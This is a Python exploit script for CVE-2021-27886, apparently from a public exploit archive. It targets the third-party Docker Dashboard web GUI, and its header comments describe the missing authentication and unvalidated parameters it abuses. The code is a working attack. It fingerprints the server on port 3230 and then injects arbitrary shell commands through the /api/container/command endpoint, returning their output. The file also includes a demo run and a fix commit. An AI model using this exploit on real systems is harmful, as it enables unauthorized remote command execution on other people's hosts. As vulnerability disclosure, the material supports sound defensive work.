Docker Dashboard Remote Command Execution

`#!/usr/bin/python  
# -*- coding: UTF-8 -*-  
#  
# dockdash.py  
#  
# Docker Dashboard Remote Command Execution Exploit  
#  
# Jeremy Brown [jbrown3264/gmail]  
# July 2021  
#  
# "A simple web based GUI for managing Docker containers and images"  
#  
# Note: this app is NOT part of the official docker product, nor related to the  
# Docker Dashboard UI in Docker Desktop. They are different projects and maintainers.  
#  
# More info: https://dockerdashboard.github.io  
#  
# -------  
# Details  
# -------  
#  
# The web GUI runs on port 3230. There are two main issues that enable the RCE...  
#  
# 1) Although when starting the server it says go to http://localhost:3230, it's  
# actually listening on the network interface by default. There is no auth  
# so anyone with access can start exercising functionality of the app.  
#  
# 2) Normally these controllers are used to start, stop or create new containers.  
# But no validation of parameters or filtering based on acceptable commands sent  
# sent to docker on the backend enables clean, vanilla command injection as the  
# running user. Many of the APIs are vulnerable, with the most notables ones  
# being /api/container/command and /api/image/command.  
#  
# ----  
# Demo  
# ----  
#  
# > ./dockdash.py 10.1.1.102 "uname -a;pwd"  
# Linux ubuntu 5.4.0-48-generic #51-Ubuntu x86_64 GNU/Linux  
# /opt/docker-web-gui/backend  
#  
# CVE-2021-27886  
#  
# Fix  
# - commit 79cdc41  
#  
  
import sys  
import argparse  
import requests  
  
DEFAULT_PORT = 3230  
SIGNATURE = ('X-Powered-By', 'Express')  
  
class DockDash(object):  
def __init__(self, args):  
self.target = args.target  
self.cmd = args.cmd  
  
def run(self):  
target = "http://" + self.target + ':' + str(DEFAULT_PORT)  
  
session = requests.Session()  
  
try:  
resp = session.head(target + "/")  
except Exception as error:  
print("Error: %s" % error)  
return -1  
  
if(SIGNATURE not in resp.headers.items()):  
print("%s doesn't look like a dashboard server..." % target)  
return -1  
  
commands = self.cmd.split(';')  
  
#  
# "out here trying to get a mf'in scholarship"  
#  
for command in commands:  
try:  
resp = session.get(target + \  
"/api/container/command?container=&command=;" + command)  
#"/api/image/command?image=&command=;" + command)  
except Exception as error:  
print("Error: %s" % error)  
return -1  
  
if(resp.status_code == 200):  
response = resp.text.strip('"').replace('\\n', '\n')  
print("%s" % response)  
else:  
print("something went wrong, server returned %d" % resp.status_code)  
return -1  
  
return 0  
  
def arg_parse():  
parser = argparse.ArgumentParser()  
  
parser.add_argument("target",  
type=str,  
help="DD host")  
  
parser.add_argument("cmd",  
type=str,  
help="command to execute")  
  
args = parser.parse_args()  
  
return args  
  
def main():  
args = arg_parse()  
  
dd = DockDash(args)  
  
result = dd.run()  
  
if(result > 0):  
sys.exit(-1)  
  
if(__name__ == '__main__'):  
main()  
`